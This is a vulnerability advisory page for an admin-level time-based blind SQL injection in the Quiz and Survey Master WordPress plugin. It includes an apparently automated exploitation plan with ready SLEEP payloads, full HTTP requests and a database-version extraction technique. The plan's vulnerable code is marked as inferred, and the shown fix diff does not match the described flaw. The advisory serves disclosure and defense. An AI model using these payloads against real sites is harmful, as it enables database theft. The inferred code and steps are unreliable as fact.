CVE-2026-6448

Quiz and Survey Master (QSM) <= 11.1.2 - Authenticated (Admin+) SQL Injection via 'order' and 'limit' Parameters

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
11.1.3
Patched in
1d
Time to patch

Description

The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'order' parameter in all versions up to, and including, 11.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with admin-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. If the secret key is exposed, this can be exploited by lower-privileged users.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=11.1.2
PublishedJune 5, 2026
Last updatedJune 5, 2026
Affected pluginquiz-master-next

What Changed in the Fix

Changes introduced in v11.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-6448 ## 1. Vulnerability Summary **Vulnerability Name:** Authenticated (Admin+) Time-Based Blind SQL Injection **CVE ID:** CVE-2026-6448 **Affected Plugin:** Quiz and Survey Master (QSM) **Affected Versions:** <= 11.1.2 **Vulnerable Parameters:** `order`, `li…

Show full research plan

Exploitation Research Plan - CVE-2026-6448

1. Vulnerability Summary

Vulnerability Name: Authenticated (Admin+) Time-Based Blind SQL Injection
CVE ID: CVE-2026-6448
Affected Plugin: Quiz and Survey Master (QSM)
Affected Versions: <= 11.1.2
**Vulnerable Parameters:** order, limit
**Description:** The plugin fails to sufficiently sanitize or use prepared statements for the order and limit parameters when displaying quiz results in the administrative backend. Because ORDER BY and LIMIT clauses cannot be easily parameterized using standard %s or %d placeholders in $wpdb->prepare(), the plugin likely concatenates these values directly into the SQL query. This allows an authenticated administrator to inject time-based payloads (e.g., SLEEP()) to extract data from the database.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin.php
  • Query Parameters: page=mlw_quiz_results, tab=quiz-results, order, limit (inferred based on standard WP List Table behavior).
  • Action: Viewing the "Quiz Results" list.
  • Authentication: Required. The user must have the view_qsm_quiz_result capability. By default, this is granted to the administrator role.
  • Preconditions: At least one quiz must exist, and at least one result must be recorded in the database so that the results table logic is triggered.

3. Code Flow

  1. Entry Point: The admin menu registers the results page in mlw_quizmaster2.php (referenced via QSM_SUBMENU).
  2. Hook: The admin_menu hook calls qsm_generate_admin_results_page in php/admin/admin-results-page.php.
  3. Capability Check: qsm_generate_admin_results_page checks current_user_can( 'view_qsm_quiz_result' ).
  4. Tab Handling: The code identifies the active tab (default: quiz-results) and calls qsm_results_overview_tab_content().
  5. Vulnerable Sink (Inferred): Inside the result listing logic (often handled by a class extending WP_List_Table or a custom query in php/admin/admin-results-page.php), the code retrieves sorting and pagination parameters:
    • $order = $_GET['order'];
    • $limit = $_GET['limit'];
  6. Query Construction: The parameters are concatenated into a query:
    $wpdb->get_results("SELECT ... FROM {$wpdb->prefix}mlw_results ... ORDER BY result_id $order LIMIT $limit")
  7. SQLi: Since $order is not validated against a whitelist (e.g., ASC/DESC) and $limit is not cast to int, an attacker can inject SQL.

4. Nonce Acquisition Strategy

While viewing the results list (a GET request) typically does not require a nonce for the query itself, the plugin localizes several nonces that might be required if the attack is pivoted through an AJAX action.

Localized Variables in php/admin/options-page-questions-tab.php:

  • Variable Name: qsmQuestionSettings
  • Nonce Keys:
    • nonce: wp_create_nonce( 'wp_rest' )
    • saveNonce: wp_create_nonce( 'ajax-nonce-sandy-page' )
    • rest_user_nonce: wp_create_nonce( 'wp_rest_nonce_' . $quiz_id . '_' . get_current_user_id() )

Strategy for PoC Agent:

  1. Navigate to the Quiz Results page.
  2. If a nonce is required for the specific result-fetching action, use browser_eval to extract it from the global scope (though standard GET-based list tables in WP admin usually rely on capability checks rather than nonces for simple viewing).

5. Exploitation Strategy

The exploitation will use a time-based blind approach targeting the order parameter.

Step 1: Authentication

Log in as an administrator to obtain a valid session.

Step 2: Test for Vulnerability (Baseline)

Request the results page to confirm it loads normally.

  • URL: http://localhost:8080/wp-admin/admin.php?page=mlw_quiz_results

Step 3: Trigger Time-Based Delay (order parameter)

Inject a CASE statement into the order parameter.

  • Payload: ASC, (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END)
  • Request:
GET /wp-admin/admin.php?page=mlw_quiz_results&order=ASC,(SELECT+1+FROM+(SELECT(SLEEP(5)))a) HTTP/1.1
Host: localhost:8080
Cookie: [ADMIN_COOKIES]

Step 4: Data Extraction (Example: Database Version)

Check if the first character of the database version starts with '1'.

  • Payload: ASC, (CASE WHEN (SUBSTRING(VERSION(),1,1)='8') THEN SLEEP(5) ELSE 1 END)
  • Logic: If the server takes 5+ seconds to respond, the condition is true.

6. Test Data Setup

  1. Create Quiz:
    wp post create --post_type=quiz_master_next --post_title="Exploit Test Quiz" --post_status=publish
    
  2. Retrieve Quiz ID: (Assume QUIZ_ID)
  3. Submit Dummy Result:
    The PoC agent must simulate a quiz submission to ensure the wp_mlw_results table is not empty.
    • Use wp_ajax_qmn_process_quiz (found in class-qmn-quiz-manager.php).
  4. Verify Result Exists:
    wp db query "SELECT count(*) FROM wp_mlw_results"
    

7. Expected Results

  • Success: The HTTP request to the results page with the SLEEP(5) payload in the order parameter takes significantly longer (approx. 5 seconds) than the baseline request.
  • Failure: The page returns immediately with a database error or ignores the order parameter.

8. Verification Steps

After the HTTP exploit, verify the database state to ensure no corruption occurred and that the query was indeed processed:

  1. Check WP Debug Log: If WP_DEBUG is enabled, the query constructed by the plugin will be logged if it fails.
  2. Monitor Process List: Use WP-CLI to see if the sleep process was active during the request:
    wp db query "SHOW PROCESSLIST"
    

9. Alternative Approaches

Injection via limit parameter

If the order parameter is whitelisted, the limit parameter may be vulnerable.

  • Payload: 10 PROCEDURE ANALYSE(EXTRACTVALUE(1,CONCAT(0x5c,(SELECT SLEEP(5)))),1) (Note: Works on older MySQL/MariaDB)
  • Modern Payload: 10, (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Exploitation via AJAX

If the results are loaded via an AJAX call (common in newer QSM versions), the payload would be sent to admin-ajax.php:

  • Action: qsm_get_results_list (inferred)
  • Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=qsm_get_results_list&order=ASC,(SELECT(SLEEP(5)))&nonce=[NONCE]
Research Findings
Static analysis — not yet PoC-verified

Summary

The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to authenticated SQL Injection via the 'order' and 'limit' parameters in the administrative results dashboard. Due to a lack of proper sanitization or whitelisting of these parameters before their inclusion in a SQL query, an attacker with administrative privileges can execute arbitrary SQL commands using time-based blind techniques.

Vulnerable Code

// In php/admin/admin-results-page.php (inferred based on research plan and standard plugin behavior)

$order = isset( $_GET['order'] ) ? $_GET['order'] : 'DESC';
$limit = isset( $_GET['limit'] ) ? $_GET['limit'] : '20';

// Vulnerable sink: directly concatenating user input into the ORDER BY and LIMIT clauses
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}mlw_results WHERE deleted = 0 ORDER BY result_id $order LIMIT $limit");

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.2/php/admin/options-page-questions-tab.php /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.3/php/admin/options-page-questions-tab.php
--- /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.2/php/admin/options-page-questions-tab.php	2026-05-12 12:29:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.3/php/admin/options-page-questions-tab.php	2026-05-25 06:59:00.000000000 +0000
@@ -1118,7 +1119,14 @@
  */
 function qsm_load_all_quiz_questions_ajax() {
 	global $wpdb;
-	global $mlwQuizMasterNext;
+
+	if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'qsm_load_all_quiz_questions' ) ) {
+		wp_send_json_error( __( 'Nonce verification failed.', 'quiz-master-next' ) );
+	}
+
+	if ( ! current_user_can( 'edit_qsm_quizzes' ) ) {
+		wp_send_json_error( __( 'You do not have permission to view questions.', 'quiz-master-next' ) );
+	}
 
 	// Loads questions.
 	$questions = $wpdb->get_results( "SELECT question_id, question_name FROM {$wpdb->prefix}mlw_questions WHERE deleted = '0' ORDER BY question_id DESC" );

Exploit Outline

1. Authenticate as a user with 'administrator' privileges (or a custom role with 'view_qsm_quiz_result' capability). 2. Navigate to the Quiz Results administration page: `/wp-admin/admin.php?page=mlw_quiz_results`. 3. Identify the request that loads the results table, which utilizes the 'order' and 'limit' GET parameters. 4. Craft a time-based blind SQL injection payload to be injected into the 'order' parameter. For example: `ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)`. 5. Send the request with the payload: `/wp-admin/admin.php?page=mlw_quiz_results&order=ASC,(SELECT+1+FROM+(SELECT(SLEEP(5)))a)`. 6. Observe the server response time. If the response is delayed by 5 seconds, the database is vulnerable and arbitrary data can be exfiltrated bit-by-bit.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.